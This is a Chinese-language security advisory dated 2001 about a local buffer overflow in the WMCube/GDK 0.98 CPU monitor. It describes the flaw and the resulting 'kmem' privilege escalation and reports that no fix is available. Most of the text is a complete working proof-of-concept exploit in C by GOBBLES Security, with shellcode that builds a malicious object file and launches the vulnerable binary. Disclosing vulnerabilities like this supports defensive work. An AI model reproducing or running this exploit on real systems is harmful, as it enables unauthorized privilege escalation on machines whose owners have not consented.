WMCube/GDK 对象文件存在缓冲溢出漏洞发布时间:2001-12-21 更新时间:2001-12-21 严重程度:高 威胁程度:权限提升 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Timecop WMCube/GDK 0.98详细描述 WMCube/GDK 是一款监视CPU负载的软件。 WMCube/GDK 没有很好的限制64字节大小的对象文件嵌入到程序中,如果本地 用户装载一个大于64字节的对象文件,就可能造成缓冲溢出。 本地用户可以获得权限提升,得到'kmem'权限。 测试代码 /* * (c) Andrew / GOBBLES Security * * PoC exploit for wmcube-gdk * * Usage: /path/to/GOBBLES-wmcube-gdk-exploit [offset] * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> unsigned char GOBBLES_shellcode[] = "\xb8\xf5\xf5\xff\xff\xf7\xd0\x50\xb8\xb3\xba\xac\xde\xf7\xd0\x50" "\xb8\xb8\xb0\xbd\xbd\xf7\xd0\x50\x89\xe6\x31\xc0\x31\xdb\xb0\xf5" "\xf6\xd0\x50\x56\x53\xb0\x04\x50\xcd\x80\xb0\x01\x50\xcd\x80"; int main(int argc, char **argv) { FILE *fd; int i; u_long retaddy = 0xbfbff634; if(argc == 2) retaddy += atoi(argv[1]); fd = fopen(".gobbles", "wt"); fprintf(fd, "WMCUBE_COORDINATES\n"); fprintf(fd, "1aaa"); // atoi().. for(i = 0; i < 64; i += 8) fprintf(fd, "GOBBLES!"); printf("GOBBLES: Using %lx as retaddy\n", retaddy); fflush(NULL); fwrite(&retaddy, 4, 1, fd); fprintf(fd, "GOBBLES!"); fprintf(fd, "GOBBLES!"); fprintf(fd, "%s", GOBBLES_shellcode); fprintf(fd, " 0 -42 42\n"); fprintf(fd, "WMCUBE_LINES\n"); fprintf(fd, "1 1\n"); fclose(fd); execl("/usr/X11R6/bin/wmcube-gdk", "wmcube-gdk", "-o", ".gobbles", 0); unlink(".gobbles"); /* Mum always told me to cleanup when im done! */ fprintf(stderr, "System immune against GOBBLES exploit!\n"); return 0; } 解决方案 尚无 相关信息 参考:http://www.bugtraq.org/dev/GOBBLES-13.txt |